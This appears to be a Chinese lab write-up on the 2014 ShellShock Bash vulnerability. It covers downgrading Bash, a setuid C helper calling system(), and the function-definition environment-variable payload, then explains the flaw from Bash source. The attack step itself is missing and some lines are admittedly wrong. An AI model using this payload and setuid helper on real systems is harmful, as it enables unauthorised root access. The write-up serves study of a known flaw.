关于ShellShock漏洞的利用过程和原理解析

来源:互联网 发布:2016年十大网络流行语 编辑:程序博客网 时间:2024/06/11 01:06

0x00

今天本是应该休息和打LOL的日子,但是我那个敬业的舍友非要拿python写个跟Siri类似的东西。好吧我也来学习学习

晚上来研究下这个14年出现并且自家产品能防护住的漏洞---ShellShock
这是Bashshell中的一个漏洞,使得攻击者能在小于等于4.1版本的Bash上进行任意代码执行
 
实验环境:Centos 6.7

实验目的:获取root权限


0x01
先检查了下自己的bash版本是不是小于4.1
如果不是则通过下边的步骤进行修改
#wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
#tar xf bash-4.1.tar.gz
#cd bash-4.1
#./configure
#make & make install
#rm /bin/bash
#ln -s /usr/local/bin/bash /bin/bash
到此可以bash -version下看看自己的版本有么有变,建议先做个镜像



0x02
检测存在漏洞
出现 vulnerable说明存在漏洞,反则不存在



并让/bin/sh 指向 /bin/bash
$ sudo ln -sf /bin/bash /bin/sh
 
0x03
安装GCC
yum -y install gcc gcc-c++ kernel-devel
然后写漏洞利用的代码
#include <stdio.h>
void main()
{
setuid(geteuid());
system("/bin/ls -l");
}
保存为xxx.c
进行编译
后边几行写错了不要在意


0x04
进行攻击
 

完美获取权限 
0x05
原理简单解释
首先因为bash中的自定义函数,只需要函数名就能够调用该函数
e.g
$ foo() {echo bar;}
$foo
>bar
环境变量为
KEY= foo
VALUE=() { echo bar;}
那么我们可以构造检测的payload
$export foo='() { :; }; echo Hello'
$bash
>Hello
环境变量
KEY=foo
VALUE=() { :;};echo Hello
显而易见,bash读取了环境变量,调用bash时候,自定义语句就会触发
还记得上边写的.c文件中的  setuid(geteuid()); 
使得 make real uid = effective uid.
我们再来看简化后的bash源代码
 

void initialize_shell_variables(){ // 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) { 
/*...*/ 
/* 如果有export过的函数, 在这里定义 */
 /* 无法导入在特权模式下(root下)定义的函数 */ 
  if (privmode == 0 && read_but_dont_execute == 0 && STREQN (“() {“, string, 4)) { 
     [...] 
     // 这里是shellshock发生的地方 
     // 传递函数定义 + 运行额外的指令 
     parse_and_execute (temp_string, name, 
       SEVAL_NONINT|SEVAL_NOHIST); 
[...]
} }
就是上述那-句判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致

0 0